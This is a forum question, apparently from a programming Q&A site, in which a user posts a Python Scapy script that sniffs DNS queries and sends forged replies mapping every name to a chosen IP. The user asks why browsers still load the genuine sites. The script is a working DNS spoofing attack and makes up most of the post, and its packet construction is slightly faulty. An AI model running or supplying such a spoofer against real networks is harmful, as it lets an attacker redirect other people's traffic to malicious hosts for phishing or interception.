Reputation: 11
I wrote a python script to spoof DNS responses to all queries, using the Scapy library. The script is successful, meaning when I manually lookup an IP address I instead get the one that my script supplied. How come then, when going to websites that require a DNS query, do I get the correct page instead of a completely different website (which is supplied at a specific IP).
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # remove scapy warnings
from scapy.all import *
conf.verb = 0 # turn off scapy messages
spoofed_ip = YOUR_IP
def start():
print 'Listening for DNS Queries...'
sniff(
lfilter=lambda p: p.haslayer(UDP) and p.dport == 53, # is DNS query
prn=callback,
)
def callback(p):
res = forge_response(p)
sendp(res)
print 'Spoofed Response: ' + res[DNS].an.rrname + '->' + str(res[IP].dst) + ' As: ' + spoofed_ip
def forge_response(p):
ether = Ether(src=p[Ether].dst, dst=p[Ether].src) # swap macs
ip = IP(src=p[IP].dst, dst=p[IP].src) # swap IPs
udp = UDP(sport=p[UDP].dport, dport=p[UDP].sport) # swap ports
dnsrr = DNSRR(rrname=p[DNSQR].qname, rdata=spoofed_ip)
dns = DNS(id=p[DNS].id, ancount=1, an=dnsrr)
res = ether / ip / udp / dns / dnsrr # forge response
return res
start()
Thank you very much.
Upvotes: 1
Views: 1339